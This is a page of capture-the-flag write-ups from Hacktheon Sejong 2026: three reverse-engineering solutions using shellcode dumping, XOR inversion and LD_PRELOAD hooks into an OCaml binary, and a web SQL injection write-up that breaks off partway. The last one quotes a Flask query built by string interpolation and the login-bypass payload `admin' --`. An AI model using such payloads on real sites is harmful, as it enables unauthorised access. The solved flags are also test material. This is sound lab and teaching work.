3HLD
  • NEW!
    NEW!  Connect Ideas Across Notes
    Save time and share insights. With Paragraph Citation, you can quote others’ work with source info built in. If someone cites your note, you’ll see a card showing where it’s used—bringing notes closer together.
    Got it
        • Sharing URL Link copied
        • /edit
        • View mode
          • Edit mode
          • View mode
          • Book mode
          • Slide mode
          Edit mode View mode Book mode Slide mode
        • Customize slides
        • Note Permission
        • Read
          • Owners
          • Signed-in users
          • Everyone
          Owners Signed-in users Everyone
        • Write
          • Owners
          • Signed-in users
          • Everyone
          Owners Signed-in users Everyone
        • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invite by email
        Invitee

        This note has no invitees

      • Publish Note

        Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

        Your note will be visible on your profile and discoverable by anyone.
        Your note is now live.
        This note is visible on your profile and discoverable online.
        Everyone on the web can find and read all notes of this public team.

        Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

        Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

        Explore these features while you wait
        Complete general settings
        Bookmark and like published notes
        Write a few more notes
        Complete general settings
        Write a few more notes
        See published notes
        Unpublish note
        Please check the box to agree to the Community Guidelines.
        View profile
      • Commenting
        Permission
        Disabled Forbidden Owners Signed-in users Everyone
      • Enable
      • Permission
        • Forbidden
        • Owners
        • Signed-in users
        • Everyone
      • Suggest edit
        Permission
        Disabled Forbidden Owners Signed-in users Everyone
      • Enable
      • Permission
        • Forbidden
        • Owners
        • Signed-in users
      • Emoji Reply
      • Enable
      • Versions and GitHub Sync
      • Note settings
      • Note Insights New
      • Engagement control
      • Make a copy
      • Transfer ownership
      • Delete this note
      • Insert from template
      • Import from
        • Dropbox
        • Google Drive
        • Gist
        • Clipboard
      • Export to
        • Dropbox
        • Google Drive
        • Gist
      • Download
        • Markdown
        • HTML
        • Raw HTML
    Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Help
    Menu
    Options
    Engagement control Make a copy Transfer ownership Delete this note
    Import from
    Dropbox Google Drive Gist Clipboard
    Export to
    Dropbox Google Drive Gist
    Download
    Markdown HTML Raw HTML
    Back
    Sharing URL Link copied
    /edit
    View mode
    • Edit mode
    • View mode
    • Book mode
    • Slide mode
    Edit mode View mode Book mode Slide mode
    Customize slides
    Note Permission
    Read
    Owners
    • Owners
    • Signed-in users
    • Everyone
    Owners Signed-in users Everyone
    Write
    Owners
    • Owners
    • Signed-in users
    • Everyone
    Owners Signed-in users Everyone
    Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Hacktheon Sejong 2026 ## PWN ### ## REV ### Brain Outside ```` # Brain Outside — Writeup > **Hacktheon 2026 / Sejong Cyber CTF — Reverse, 541 pt** > **Flag:** `hacktheon2026{90364e95eddf0fc1d5f54662d8e80913}` --- ## 1. Recon The challenge gives us only: ``` ./client 3.38.146.7 31337 ./client 54.180.255.106 31337 ./client 43.203.148.171 31337 ``` `client` is a static-stripped ELF-x86-64, ~720 KB. `strings` reveals nothing flag-related — only glibc symbols. Following the main `recv` loop in GDB, the protocol is straightforward: ``` read 4 bytes → length L (little-endian) mmap(L+0x10, RWX, MAP_PRIVATE|ANON) read L bytes → buffer call buffer() ; called as a function; RBP holds socket FD send 12 bytes ← <u32 8> <u64 RAX> loop ``` So **all challenge logic lives on the server** — the binary is just a "shellcode runner" that exec's whatever bytes the server sends and pipes the return value back. That's the meaning of the title — **Brain Outside** ("Where is code?"). A breakpoint at `0x401a49` (just before `call`) lets us dump every incoming stage: ```python class StageDumpBP(gdb.Breakpoint): def stop(self): rsp, rbx = int(gdb.parse_and_eval("$rsp")), int(gdb.parse_and_eval("$rbx")) L = struct.unpack("<I", inferior.read_memory(rsp,4).tobytes())[0] open(f"dump/stage_{counter['n']:03d}.bin","wb").write( inferior.read_memory(rbx, L).tobytes()) counter["n"] += 1 return False ``` ## 2. Stage layout — self-decrypting loaders Every stage starts with a small **loader stub** that decrypts itself in place: ```asm e8 00 00 00 00 call $+5 ; PC-relative trick 5e pop rsi ; rsi = address of next byte 48 b8 <8B> movabs rax, KEY 50 push rax ; key on stack 48 8d be <off32> lea rdi, [rsi+off] ; rdi = encrypted region b9 <imm32> mov ecx, LEN xor + loop ; data[i] ^= key[i & 7] ff e7 jmp *rdi ; jump into decrypted body ``` The loader has multiple variants (single-byte XOR + cumulative-ADD, random anti-debug fluff before `e8 00 00 00 00`, …). Re-implementing each variant in Python is fragile. The clean approach: **let the loader decrypt itself**. Copy the stage into an RWX page, find the trailing `ff e7` (jmp) and patch it to `c3 90` (`ret; nop`), then call the page as a `void*(*)(void)`. The CPU runs whatever obfuscation the author wrote, then `ret`s instead of falling into the verifier — and we read the plaintext back from memory. ```python def decrypt_stage(stage): p = stage.find(b"\xe8\x00\x00\x00\x00\x5e") after = stage.find(b"\x48\x8d\xbe", p, p+0x30) rdi_off = struct.unpack("<i", stage[after+3:after+7])[0] enc_off = (p+5) + rdi_off # find the LAST `ff e7` before enc_off (loader's tail jmp) jmp_pos = max(i for i in range(p, enc_off-1) if stage[i]==0xff and stage[i+1]==0xe7) patched = bytearray(stage) patched[jmp_pos], patched[jmp_pos+1] = 0xc3, 0x90 # ret; nop addr = libc.mmap(None, _round_up(len(patched), 0x1000), PROT_R|PROT_W|PROT_X, MAP_PRIVATE|MAP_ANON, -1, 0) ctypes.memmove(addr, bytes(patched), len(patched)) ctypes.cast(addr, ctypes.CFUNCTYPE(ctypes.c_uint64))() # decrypts in place return ctypes.string_at(addr, len(patched)), enc_off ``` ## 3. Stage taxonomy After decryption, every stage falls into one of these buckets: | Type | Size | What it does | Expected RAX | |---|---|---|---| | size check | 148 B | `fstat(flag.png)`, asserts `st_size == 0x8c48f8` | 1 | | header check | 150–250 B | `cmp [r13+offset], imm` against PNG magic / IHDR / CRC | 1 | | `Solve:` | ~190 B | Prints `Solve: (a OP b) OP c = ?`, reads stdin, atoi, returns | the int | | `Input:` (figlet) | ~200–500 B | Renders a number as figlet `standard`, reads stdin, returns | the rendered int | | ptrace check | 87 B | `ptrace(PTRACE_TRACEME)` → `0xdead0000`/`0xdead0001` | normally `0xdead0000` | | **Verifier-A** | ~102 KB | `for i: cmp (flag[base+i-1] ^ flag[base+i]), tbl[i]` | 1 | | **Verifier-B** | ~204 KB | Two tables: `flag[base+i] == tblA[i] ^ tblB[i]` | 1 | | **Verifier-D** | ~102 KB | `(flag[base+i] - flag[base+i-1]) mod 256 == tbl[i]` | 1 | | **Verifier-E** | ~102 KB | `flag[base+i] == tbl[i]` (direct equality) | 1 | | Verifier-C | ~409 KB | Sample-based hash, not invertible | 1 | | Final | 78 B | `write(1, "All stages passed! Congratulations!\n", 36); exit(0)` | — | `Solve:` is just a safe `eval()`. Figlet stages need OCR — the server uses figlet's `standard` font, so we render each digit `0–9` with `pyfiglet`, trim trailing/leading blank columns, and store as templates. Then we split the on-wire banner into blocks separated by all-blank columns and match each block against the templates (`ascii_digit_ocr.py`): ``` _____ ___ _____ _ _ _ _ ____ |___ / / _ \ |___ | | || | | || | |___ \ |_ \ | (_) | / / | || |_ | || |_ __) | ___) | \__, | / / |__ _| |__ _| / __/ |____/ /_/ /_/ |_| |_| |_____| → 397442 ``` ## 4. Solver `solver_v2.py` drives the whole interaction. Per stage: 1. Decrypt the loader → plaintext shellcode. 2. If it contains `"Solve:"` → eval the expression, pipe `<answer>\n` to the runner's stdin. 3. If it contains `"Input:"` → extract the figlet banner, OCR it, pipe the integer to stdin. 4. If it's a **flag.png verifier** (`"flag.png"` is in the body and neither prompt is) → **send `retval=1` blindly, skip execution**. Without the real `flag.png` the runner would return 0; the server only checks pass/fail, so `1` is the right answer for every verifier. 5. Anything else (ptrace, math, figlet) → execute natively in `shellcode_runner.py` and capture `RAX`. ```python if is_flag_verifier: rax = 1 else: rax = run_stage_natively(body, stdin_data) ``` Run the solver against any of the three IPs, walk through ~100 stages, and the server replies: ``` All stages passed! Congratulations! ``` …but **no flag** is printed. The server does not hand it over here. ## 5. Where the actual flag lives — `flag.png` The flag is **inside the `flag.png` file that every verifier compares against**. Each verifier leaks a contiguous `0x18f08`-byte slice of `flag.png` via the comparison table embedded in its shellcode. Inverting each table type: ```python # Type-A (cumulative XOR) rec[0] = tbl[0]; rec[i] = rec[i-1] ^ tbl[i] # Type-B (two tables) rec = bytes(a ^ b for a,b in zip(tblA, tblB)) # Type-D (modular delta) rec[0] = tbl[0]; rec[i] = (rec[i-1] + tbl[i]) & 0xff # Type-E (direct equality) rec = tbl ``` Each connection sends ~100 stages with random base offsets. Collecting **6 000+ stages** from many connects to all three IPs and merging the recovered slices by file offset, we end up at **97.78 %** of `flag.png` — missing exactly two `0x18f09`-byte chunks: ``` file size = 0x8c48f8 (9,193,720 bytes) [# KNOWN ##############################################################] ^^^^^^^^ ^^^^^^^^ k=0 chunk k=7 chunk [0..0x18f09) [0xae93f..0xc7848) ← PNG header + IHDR + IDAT[0] 97.78 % covered, 2.22 % missing ``` ### The final twist — disp8 encoding The pattern matcher initially handled only `lea rsi, [r13+disp32]` (`49 8d b5 <imm32>`). But x86 also has the compact short form `lea rsi, [r13+disp8]` (`49 8d 75 <imm8>`), used **only when the offset fits in a signed byte (`< 128`)** — which means *exactly* the chunk at `base = 0`. That's the chunk holding the PNG header + IHDR + first IDAT, the chunk the puzzle author "hid" by making sure the random generator never picks a multiple-of-`0x18f09` base equal to zero. The disp8 verifier looks like this: ```asm ; ...open/mmap flag.png as r13... 49 8d 75 00 lea rsi, [r13+0] ; <-- BASE = 0 e8 00 00 00 00 call $+5 5f pop rdi 48 8d bf 6f 00 00 00 lea rdi, [rdi+0x6f] ; -> table b9 09 8f 01 00 mov ecx, 0x18f09 ; LEN 8a 06 mov al, [rsi] 3a 07 cmp al, [rdi] 75 42 jne FAIL 48 ff c6 inc rsi 48 ff c7 inc rdi ff c9 dec ecx 75 f0 jne loop ; return 1 table @ 0xdd: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 ... |---- PNG magic ----|----IHDR len----|---- IHDR ----| ``` Adding one extra regex captures it: ```python # disp8 form recovers the missing first chunk m = re.compile(rb"\x49\x8d\x75(.)\xe8\x00\x00\x00\x00\x5f\x48\x8d\xbf(....)").search(body) ``` After also dropping the (incorrect) assumption that all bases are multiples of `0x18f09` (some Type-D/E verifiers use arbitrary offsets), a final scan over the 6 419 collected stages gives: ``` type-A: 1120, type-B: 1108, type-D: 834, type-E: 859 (2498 skipped — non-flag stages) coverage: 9193720 / 9193720 bytes (100.00%) ``` `flag.png` is now fully reconstructed: a 3024 × 2005 RGB photograph of a small island off Jeju on a cloudy day, with white sans-serif text overlaid roughly across the horizon line: ``` hacktheon2026{90364e95eddf0fc1d5f54662d8e80913} ``` A quick sanity check — the IHDR we recover verifies its CRC: ``` IHDR data: width=3024, height=2005, bit_depth=8, color_type=2 (RGB), compression=0, filter=0, interlace=0 zlib.crc32(b"IHDR" + ihdr_data) == 0x4f8d505a ✓ matches file ``` ## 6. Repo layout | File | Purpose | |---|---| | `stage_decoder.py` | Self-decryption via `ff e7` → `c3 90` patch + `ctypes` call | | `ascii_digit_ocr.py` | figlet `standard`-font number → `int` | | `shellcode_runner.py` | Sandbox runner; writes `RAX` to a file | | `solver_v2.py` | Main solver: connect → answer every stage → `Congratulations!` | | `reconstruct_flagpng.py` | Pulls tables out of A/B/D/E verifiers (disp8 + disp32) and merges into `flag.png` | | `flag.png` | The reconstructed file (9 193 720 bytes, 100 % recovered) | ### Reproducing ```bash # Deps pip install --break-system-packages pyfiglet capstone pillow # 1. Drive the protocol many times to collect verifier tables mkdir -p collected_dumps for i in $(seq 1 30); do rm -rf solver_v2_dump python3 solver_v2.py 3.38.146.7 31337 >/dev/null 2>&1 [ -d solver_v2_dump ] && mv solver_v2_dump collected_dumps/run_$i done # 2. Reconstruct python3 reconstruct_flagpng.py collected_dumps/* # → flag_reconstructed.bin (9 193 720 bytes; 100 % if enough runs) # 3. View mv flag_reconstructed.bin flag.png xdg-open flag.png # Flag text is rendered around y = 660–730 in the image. ``` ## Lessons - **"Where is code?"** isn't just flavour text — the server is the only place the logic lives. No amount of static analysis on the binary itself will yield the flag. - `mmap(RWX) + patch + call` for self-decrypting loaders beats re-implementing each variant in Python: the CPU handles every obfuscation/anti-debug trick for free, you just pluck the result out of memory. - When grepping byte patterns, **mind the short encodings of x86**: the same instruction can have disp8/disp16/disp32 forms, optional REX prefixes, and so on. Missing the disp8 form was exactly the 2.22 % of coverage that contained the flag. - Conflicts during constraint extraction (e.g. `flag[0x4]: 0x0d vs 0x36`) are a strong tell that the regex is hitting random bytes inside verifier tables. Anchoring the pattern with the trailing `\x75` (jne) of the cmp/jne pair eliminates the false positives. ```` ### Recover It! ```` # Recover It! - Write-up **Category:** Reverse **Points:** 1000 ## 1. Challenge Description The challenge provides a zip file containing a binary named `prob`. Challenge hint: > My flag has gone by ransomware T.T > But hacker is dumb, i think. > Can you recover it? Flag format: ```text hacktheon2026{correct_input} ``` The goal is to recover `correct_input`. --- ## 2. Initial Recon Extract the archive: ```bash unzip for_user.zip ``` Check the binary: ```bash file prob ``` The result shows that this is a 64-bit ELF binary and it is **not stripped**, so reversing it should be straightforward. Run the program: ```bash ./prob ``` The binary asks for an input. If the length is wrong, it prints: ```text Input length mismatch! ``` So the program is clearly validating a fixed-length input. --- ## 3. Reversing the Logic Because the binary is not stripped, we can inspect it with `objdump`: ```bash objdump -d -Mintel prob | sed -n '/<main>:/,/^$/p' ``` The important part of `main` is effectively: ```c scanf("%s", buf); if (strlen(buf) != 0x40) { puts("Input length mismatch!"); return 1; } for (i = 0; i <= 0x3f; i++) { buf[i] = buf[i] ^ (i + 0x67); } if (memcmp(buf, cmptable, 0x40) == 0) puts("Correct!"); else puts("Wrong.."); ``` ### Observations - The input must be exactly **64 characters** long. - Each byte is XORed with `(index + 0x67)`. - The transformed buffer is compared against a constant table `cmptable`. This means the “ransomware” is actually just a very weak XOR transformation, which is easy to reverse. --- ## 4. Extracting `cmptable` Dump the `.data` section: ```bash objdump -s -j .data prob ``` From there, we can recover the `cmptable` bytes starting at `0x4020`: ```text 55 5a 0a 59 5f 09 55 5f 56 14 43 4a 43 44 11 14 41 48 4c 1e 42 1a 19 1c 1c b9 e3 e3 ba e5 e7 b1 b6 ec bf e8 b2 bd ba bb eb a6 f3 a1 f1 a4 a4 a0 f4 ac a0 f9 ff a5 a9 a8 ad 94 c7 97 97 91 c6 95 ``` --- ## 5. Recovering the Original Input The program computes: ```c enc[i] = input[i] ^ (i + 0x67) ``` So to recover the original input, we simply reverse it: ```c input[i] = enc[i] ^ (i + 0x67) ``` Python script: ```python cmptable = bytes.fromhex( "55 5a 0a 59 5f 09 55 5f 56 14 43 4a 43 44 11 14 " "41 48 4c 1e 42 1a 19 1c 1c b9 e3 e3 ba e5 e7 b1 " "b6 ec bf e8 b2 bd ba bb eb a6 f3 a1 f1 a4 a4 a0 " "f4 ac a0 f9 ff a5 a9 a8 ad 94 c7 97 97 91 c6 95" ) flag_input = ''.join(chr(cmptable[i] ^ (i + 0x67)) for i in range(64)) print(flag_input) ``` Recovered input: ```text 22c34e819d2800db605d9fdbc9ba9ab71d6b9175d6b3b016c49cd94624f545c3 ``` --- ## 6. Verification Run the binary again with the recovered input: ```bash printf '22c34e819d2800db605d9fdbc9ba9ab71d6b9175d6b3b016c49cd94624f545c3\n' | ./prob ``` Output: ```text Input: Correct! ``` So the recovered input is valid. --- ## 7. Flag Using the required format, the final flag is: ```text hacktheon2026{22c34e819d2800db605d9fdbc9ba9ab71d6b9175d6b3b016c49cd94624f545c3} ``` ```` ### Until Executing ```` # Until Executing — Writeup ## Challenge info - **Name:** Until Executing - **Category:** Reverse Engineering - **Points:** 1000 ## TL;DR The program reads a 64-character payload, runs **two independent OCaml verifiers** in forked child processes, and if both children succeed it prints: ```text hacktheon2026{<your_input>} ``` The recovered payload is: ```text ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93 ``` So the final flag is: ```text hacktheon2026{ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93} ``` --- ## 1. First look The provided file is a 64-bit Linux ELF: ```bash $ file challenge challenge: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, ... ``` Even though it is nominally stripped, it still exports a lot of **OCaml-generated symbols**: ```bash $ nm -D challenge | egrep 'caml(Main|Proc_a|Proc_b|Shared_types|Shared_ops)' ... 000000000005fa40 T camlMain__entry 000000000005f880 T camlMain__input_ok_288 000000000005fa10 T camlMain__output_flag_of_input_595 0000000000061e10 T camlProc_a_engine__verify_432 000000000005fe70 T camlProc_b_engine__verify_432 0000000000063240 T camlProc_a_handlers__base_verify_636 0000000000060790 T camlProc_b_handlers__base_verify_610 ... ``` That immediately tells us this is an OCaml binary split into a few meaningful modules: - `Main` - `Shared_types` - `Shared_ops` - `Proc_a_engine` / `Proc_a_handlers` - `Proc_b_engine` / `Proc_b_handlers` This is already a huge gift: instead of reversing a totally anonymous blob, we can follow the module names and exported function names. --- ## 2. Input format A quick `strings` pass reveals two very useful constants: ```bash $ strings -n 4 challenge | egrep 'hacktheon2026|abcdefghijklmnopqrstuvwxyz_0123456789!|Wrong\.' Wrong. hacktheon2026{ abcdefghijklmnopqrstuvwxyz_0123456789! ``` The input validation lives in `camlMain__input_ok_288`. Two things happen there: 1. The input length is checked against the tagged OCaml integer `0x81`. 2. Every character is checked with `camlShared_types__valid_char_349`. The first point means the real length is **64** because OCaml integers are tagged as `(n << 1) | 1`, so: ```text 64 -> 64 * 2 + 1 = 129 = 0x81 ``` The second point means every character must come from this 38-character alphabet: ```text abcdefghijklmnopqrstuvwxyz_0123456789! ``` So the raw search space is: ```text 38^64 ``` which is obviously not something we brute force directly. --- ## 3. Main control flow The main logic is very clean once you look at `camlMain__entry`. High-level behavior: 1. Read a line. 2. Reject unless `input_ok` passes. 3. Fork child **A** and run `camlProc_a_engine__verify`. 4. Fork child **B** and run `camlProc_b_engine__verify`. 5. `waitpid()` both children. 6. If both statuses are OK, print `hacktheon2026{<input>}`. 7. Otherwise print `Wrong.`. So the flag is **not stored separately**. The input itself is the flag body. That also means the job is to recover a 64-character string that satisfies **both** verifier pipelines. --- ## 4. Static reversing of the two verifiers ### 4.1 Proc A target `camlProc_a_handlers__base_verify_636` is short and friendly: ```asm 0000000000063240 <camlProc_a_handlers__base_verify_636>: call camlProc_a_handlers__final_digest_a_627 mov ebx,0x8436f275 cmp rax,rbx sete al ``` So Proc A ultimately computes a digest and compares it against: ```text 0x8436f275 ``` ### 4.2 Proc B target `camlProc_b_handlers__base_verify_610` is slightly bigger, but the last comparison is still obvious: ```asm 0000000000060790 <camlProc_b_handlers__base_verify_610>: ... cmp rdx,0x36857515 jne failure ``` So Proc B ultimately wants: ```text 0x36857515 ``` ### 4.3 Per-character processing Both engines (`camlProc_a_engine__run_354` and `camlProc_b_engine__run_354`) do the same general thing: - explode the input string into a list of chars, - walk it character by character, - map each char to a tag, - dispatch to a character-specific handler, - accumulate state, - perform a final digest check at the end. In other words, this is **not** one monolithic hash. It is a structured pipeline with **character-specific closures**, rolling state, and a final digest. That structure is the reason a practical dynamic solve works so well. --- ## 5. Best trick: use the OCaml runtime against itself At this point there are two options: 1. fully decompile every closure and rebuild the math by hand, or 2. inject into the process and ask the already-initialized OCaml runtime for the data and closures we need. I chose the second option. The cleanest place to hook is **`waitpid()`** in the parent process. Why? - the OCaml runtime has already been initialized, - all module globals are materialized in memory, - exported symbols such as `camlProc_a_handlers` and `camlProc_b_handlers` point to valid OCaml values, - we can use `dlsym()` to recover them. This avoids a lot of annoying bootstrap problems. --- ## 6. Dumping verifier constants with `LD_PRELOAD` The first helper only dumps the important constant arrays from the handler modules. ### 6.1 Dumper ```c #define _GNU_SOURCE #include <dlfcn.h> #include <stdint.h> #include <stdio.h> #include <sys/types.h> #include <sys/wait.h> typedef uintptr_t value; #define Is_long(v) (((v) & 1) != 0) #define Long_val(v) (((intptr_t)(v)) >> 1) #define Field(v, i) (((value *)(v))[i]) static void dump_array(const char *name, value arr, int n) { fprintf(stderr, "%s = [", name); for (int i = 0; i < n; i++) { value x = Field(arr, i); fprintf(stderr, "%ld", (long)Long_val(x)); if (i + 1 != n) fprintf(stderr, ","); } fprintf(stderr, "]\n"); } static void do_dump(void) { value *pa = (value *)dlsym(RTLD_DEFAULT, "camlProc_a_handlers"); value *pb = (value *)dlsym(RTLD_DEFAULT, "camlProc_b_handlers"); dump_array("pa15", pa[15], 64); dump_array("pa16", pa[16], 64); dump_array("pb12", pb[12], 64); dump_array("pb13", pb[13], 64); } pid_t waitpid(pid_t pid, int *status, int options) { static pid_t (*real_waitpid)(pid_t, int *, int) = NULL; static int dumped = 0; if (!real_waitpid) real_waitpid = dlsym(RTLD_NEXT, "waitpid"); if (!dumped) { dumped = 1; do_dump(); } return real_waitpid(pid, status, options); } ``` Compile it and preload it: ```bash gcc -shared -fPIC -O2 -o dump_ocaml_arrays.so dump_ocaml_arrays.c -ldl printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n' \ | LD_PRELOAD=./dump_ocaml_arrays.so ./challenge ``` ### 6.2 Dumped arrays This gives four 64-element arrays: ```text pa15 = [223,14,97,78,188,86,228,147,90,250,230,6,84,163,132,217,39,5,207,75,244,76,88,170,215,1,212,36,140,31,100,40,142,157,84,242,207,48,247,1,167,111,84,68,76,233,110,106,7,67,60,69,12,27,99,15,136,170,117,72,35,21,163,144] pa16 = [75,178,211,102,117,109,71,75,128,112,38,91,30,119,79,202,231,185,183,66,94,157,212,220,107,240,31,161,197,57,92,242,187,99,5,153,15,228,6,102,171,112,214,21,196,212,44,99,108,244,11,252,182,110,197,226,161,233,94,177,53,138,254,4] pb12 = [99,33,48,141,158,197,176,49,1,218,16,244,81,88,163,214,213,95,65,48,253,191,202,198,144,105,4,135,241,123,199,156,207,188,33,2,51,58,30,45,141,40,9,245,238,144,120,147,188,102,220,53,253,202,79,134,183,128,25,49,43,157,110,27] pb13 = [76,86,139,206,150,60,34,188,43,222,213,65,232,169,188,155,127,0,50,80,47,253,253,248,84,196,197,103,209,236,74,77,97,88,232,16,82,186,187,143,3,221,250,118,168,224,73,146,53,130,156,255,188,64,164,252,84,120,206,227,107,196,202,157] ``` These arrays are exactly the kind of data you expect from a character-by-character verifier: fixed per-position constants that get mixed with the current state. --- ## 7. Calling the hidden verifiers directly The next helper uses the OCaml runtime API itself. Instead of sending input through the normal child-process path every time, we can directly call the verifier closures stored in the OCaml module globals. ### 7.1 Direct verifier helper ```c #define _GNU_SOURCE #include <dlfcn.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/wait.h> typedef uintptr_t value; #define Long_val(v) (((intptr_t)(v)) >> 1) typedef value (*caml_copy_string_fn)(const char *); typedef value (*caml_callback_fn)(value, value); static void do_check(void) { const char *s = getenv("TRY"); value *pea = (value *)dlsym(RTLD_DEFAULT, "camlProc_a_engine"); value *peb = (value *)dlsym(RTLD_DEFAULT, "camlProc_b_engine"); caml_copy_string_fn caml_copy_string = (caml_copy_string_fn)dlsym(RTLD_DEFAULT, "caml_copy_string"); caml_callback_fn caml_callback = (caml_callback_fn)dlsym(RTLD_DEFAULT, "caml_callback"); value vs = caml_copy_string(s); value va = caml_callback(pea[2], vs); value vb = caml_callback(peb[2], vs); fprintf(stderr, "Va raw=0x%lx long=%ld\n", (unsigned long)va, (long)Long_val(va)); fprintf(stderr, "Vb raw=0x%lx long=%ld\n", (unsigned long)vb, (long)Long_val(vb)); } pid_t waitpid(pid_t pid, int *status, int options) { static pid_t (*real_waitpid)(pid_t, int *, int) = NULL; static int done = 0; if (!real_waitpid) real_waitpid = dlsym(RTLD_NEXT, "waitpid"); if (!done) { done = 1; do_check(); } return real_waitpid(pid, status, options); } ``` In OCaml's tagged representation: - `false = 1` - `true = 3` So a valid full candidate gives `0x3` for both A and B. ### 7.2 Example outputs Wrong candidate: ```text TRY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Va raw=0x1 long=0 Vb raw=0x1 long=0 ``` Correct candidate: ```text TRY=ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93 Va raw=0x3 long=1 Vb raw=0x3 long=1 ``` So at this point we have a very nice **A/B acceptance oracle**. --- ## 8. How I actually solved it The full clean-room decompilation of every OCaml closure is possible, but it is unnecessary here. The much faster route is: 1. **Use static reversing** to identify: - input length, - alphabet, - verifier split (A and B), - final digest targets, - constant per-position arrays. 2. **Use dynamic instrumentation** to turn the verifier into an oracle. 3. **Replay the per-character handler logic inside the live runtime** and count how many local checks each prefix satisfies. The important observation is that the verifier is not a single opaque hash; every character dispatch builds a layer containing small local predicates plus rolling state. Once those closures are reused from inside the running process, the binary becomes a **guided search problem** rather than a blind brute force. ### 8.1 Practical search strategy I used a small preload-based scoring helper that: - rebuilds the OCaml representation of a candidate string, - replays the same character-dispatch logic the binary uses, - extracts the layer state produced at each position, - evaluates the local predicates for that position, - keeps only prefixes that continue to satisfy all accumulated constraints, - finally checks Proc A and Proc B end-to-end. In pseudocode, the outer search looks like this: ```python alphabet = "abcdefghijklmnopqrstuvwxyz_0123456789!" candidates = [""] for i in range(64): nxt = [] for prefix in candidates: for ch in alphabet: s = prefix + ch if local_checks_still_hold(s): nxt.append(s) candidates = prune(nxt) for s in candidates: if verify_a(s) and verify_b(s): print(s) ``` The key point is that `local_checks_still_hold()` is not guessed or reimplemented by hand; it is obtained by **calling the binary's own OCaml closures** from inside the process. That is what makes the search tractable. ### 8.2 Why this works well here This challenge is especially friendly to that approach because: - the symbol names are still present, - the verifier is split into clean OCaml modules, - the runtime exports `caml_copy_string`, `caml_callback`, etc., - both handler modules expose stable global arrays and closures, - the final flag is just the accepted input wrapped in a prefix and suffix. So instead of fighting the language runtime, we simply reuse it. --- ## 9. Recovered payload The accepted 64-character payload is: ```text ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93 ``` And the flag is therefore: ```text hacktheon2026{ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93} ``` --- ## 10. Final verification ```bash $ printf '%s\n' 'ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93' | ./challenge hacktheon2026{ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93} ``` --- ## 11. Takeaways - OCaml binaries can look scary at first, but preserved `caml*` symbols are an enormous advantage. - If the runtime API is available, `LD_PRELOAD` can be much faster than full manual decompilation. - Hooking **after** runtime initialization is often the cleanest move. - In this challenge the best solution was not “understand every line perfectly” but “extract the structure, then let the program verify itself.” --- ## Appendix: tiny checklist for reproduction ```bash # 1) inspect the binary file challenge nm -D challenge | less objdump -Mintel -d challenge | less strings -n 4 challenge | less # 2) dump arrays LD_PRELOAD=./dump_ocaml_arrays.so ./challenge # 3) validate arbitrary candidate directly in-process TRY='candidate_here' LD_PRELOAD=./check_try.so ./challenge # 4) verify final answer normally printf '%s\n' 'ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93' | ./challenge ``` If the binary does not run cleanly on your host because of libc / loader differences, use a compatible container or patch the interpreter path first. The reversing method above does not change. ```` ## WEB simple sqli : ``` # simple-sqli Writeup ## Challenge **Name:** simple-sqli **Category:** Web / SQL Injection **Points:** 250 **Description:** SO SIMPLE! Targets: - `http://43.203.99.42:8000/` - `http://15.164.182.205:8000/` ## Vulnerability The Flask application constructs a SQL query with direct string interpolation: ```python query = ( "SELECT username, role, secret FROM users " f"WHERE username = '{username}' AND password = '{password}'" ) ``` Because `username` and `password` are inserted directly into the SQL statement, the login form is vulnerable to SQL injection. The database is initialized with two users: ```sql INSERT INTO users (username, password, role, secret) VALUES ('guest', 'guest', 'user', 'nothing to see here'), ('admin', 'fake_password', 'admin', '{{FLAG}}'); ``` If the returned row has role `admin`, the app saves the returned `secret` in the Flask session and redirects to `/flag`: ```python elif user["role"] == "admin": session["role"] = "admin" session["username"] = user["username"] session["secret"] = user["secret"] return redirect(url_for("flag_page")) ``` ## Exploit Use the username field to close the quoted string and comment out the password check: ```text admin' -- ``` The resulting query becomes: ```sql SELECT username, role, secret FROM users WHERE username = 